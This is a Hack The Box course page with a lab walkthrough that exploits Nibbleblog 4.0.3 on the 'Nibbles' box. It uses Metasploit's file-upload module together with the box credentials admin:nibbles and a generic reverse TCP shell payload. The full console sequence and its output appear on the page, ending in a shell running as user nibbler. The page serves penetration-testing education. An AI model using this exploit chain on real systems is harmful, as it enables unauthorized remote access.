

Nibbles - Alternate User Method - Metasploit

As discussed earlier, there is also a **Metasploit** module that works for this box. It is considerably more straightforward, but it is worth practicing both methods to become familiar with as many tools and techniques as possible. Start **Metasploit** from your attack box by typing **msfconsole**. Once loaded, we can search for the exploit.

```
msf6 > search nibbleblog

Matching Modules
=====

#  Name                                     Disclosure Date  Rank      Check  Description
-  -
0  exploit/multi/http/nibbleblog_file_upload  2015-09-01      excellent Yes     Nibbleblog File Upload Vuln

Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/http/nibbleblog_file_upload
```

We can then type **use 0** to load the selected exploit. Set the **rhosts** option as the target IP address and **lhosts** as the IP address of your **tun0** adapter (the one that comes with the VPN connection to HackTheBox).

```
msf6 > use 0
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp

msf6 exploit(multi/http/nibbleblog_file_upload) > set rhosts 10.129.42.190
rhosts => 10.129.42.190
msf6 exploit(multi/http/nibbleblog_file_upload) > set lhost 10.10.14.2
lhost => 10.10.14.2
```

Type **show options** to see what other options need to be set.

```
msf6 exploit(multi/http/nibbleblog_file_upload) > show options

Module options (exploit/multi/http/nibbleblog_file_upload):

Name      Current Setting  Required  Description
-----
PASSWORD  /               yes       The password to authenticate with
Proxies    /               no        A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS    10.129.42.190   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'host[...]'
RPORT     80              yes       The target port (TCP)
SSL       false           no        Negotiate SSL/TLS for outgoing connections
TARGETURI /               yes       The base path to the web application
USERNAME  /               yes       The username to authenticate with
VHOST     /               no        HTTP server virtual host

Payload options (php/meterpreter/reverse_tcp):

Name      Current Setting  Required  Description
-----
```

```
LHOST 10.10.14.2    yes    The listen address (an interface may be specified)
LPORT 4444         yes    The listen port
```

Exploit target:

```
Id  Name
--  ---
0   Nibbleblog 4.0.3
```

We need to set the admin username and password `admin:nibbles` and the `TARGETURI` to `nibbleblog`.

```
msf6 exploit(multi/http/nibbleblog_file_upload) > set username admin
username => admin
msf6 exploit(multi/http/nibbleblog_file_upload) > set password nibbles
password => nibbles
msf6 exploit(multi/http/nibbleblog_file_upload) > set targeturi nibbleblog
targeturi => nibbleblog
```

We also need to change the payload type. For our purposes let's go with `generic/shell_reverse_tcp`. We put these options and then type `exploit` and receive a reverse shell.

```
msf6 exploit(multi/http/nibbleblog_file_upload) > set payload generic/shell_reverse_tcp
payload => generic/shell_reverse_tcp
msf6 exploit(multi/http/nibbleblog_file_upload) > show options
```

Module options (exploit/multi/http/nibbleblog_file_upload):

Name	Current Setting	Required	Description
PASSWORD	nibbles	yes	The password to authenticate with
Proxies		no	A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS	10.129.42.190	yes	The target host(s), range CIDR identifier, or hosts file with syntax 'f
RPORT	80	yes	The target port (TCP)
SSL	false	no	Negotiate SSL/TLS for outgoing connections
TARGETURI	nibbleblog	yes	The base path to the web application
USERNAME	admin	yes	The username to authenticate with
VHOST		no	HTTP server virtual host

Payload options (generic/shell_reverse_tcp):

Name	Current Setting	Required	Description
LHOST	10.10.14.2	yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

Exploit target:

```
Id  Name
--  ---
0   Nibbleblog 4.0.3
```

```
msf6 exploit(multi/http/nibbleblog_file_upload) > exploit
```

```
[*] Started reverse TCP handler on 10.10.14.2:4444
[*] Command shell session 4 opened (10.10.14.2:4444 -> 10.129.42.190:53642) at 2021-04-21 16:32:37 +0000
[+] Deleted image.php
```

```
id
uid=1001(nibbler) gid=1001(nibbler) groups=1001(nibbler)
```

From here, we can follow the same privilege escalation path.

Next Steps

Make sure to follow along and try out all steps for yourself. Try other tools and methods to achieve the same result. Take detailed notes on your own exploitation path, or even if you follow the same steps laid out in this section. It is good practice and muscle memory that will significantly benefit you throughout your career. If you have a blog, do a walkthrough on this box and submit it to the platform. If you don't have one, start one. Just don't use **NibblebLog** version 4.0.3.

There are often many ways to achieve the same task. Since this is an older box, other privilege escalation methods such as an outdated kernel or some service exploit are likely. Challenge yourself to enumerate the box and look for other flaws. Is there any other way that the **NibblebLog** web application can be abused to obtain a reverse shell? Study this walkthrough carefully and make sure you understand every step before moving on.

← Previous

Next →

✔ Mark Complete & Next


 Cheat Sheet

Table of Contents

Introduction

Infosec Overview✔

Setup

📁 Getting Started with a Pentest Distro✔

Staying Organized✔

Connecting Using VPN✔

Pentesting Basics

Common Terms✔

📁 Basic Tools✔

Service Scanning✔

Web Enumeration✔

Public Exploits✔

Types of Shells✔

📁 Privilege Escalation✔

Transferring Files✔

Getting Started with Hack The Box (HTB)





Starting Out✔

Navigating HTB✔

Attacking Your First Box

📁 Nibbles - Enumeration✔

Nibbles - Web Footprinting✔

-  Nibbles - Initial Foothold 
-  Nibbles - Privilege Escalation 
- Nibbles - Alternate User Method - Metasploit

Problem Solving


- Common Pitfalls
- Getting Help

What's Next?

- Next Steps
-  Knowledge Check

My Workstation

OFFLINE

 Start Instance

1 / 1 spawns left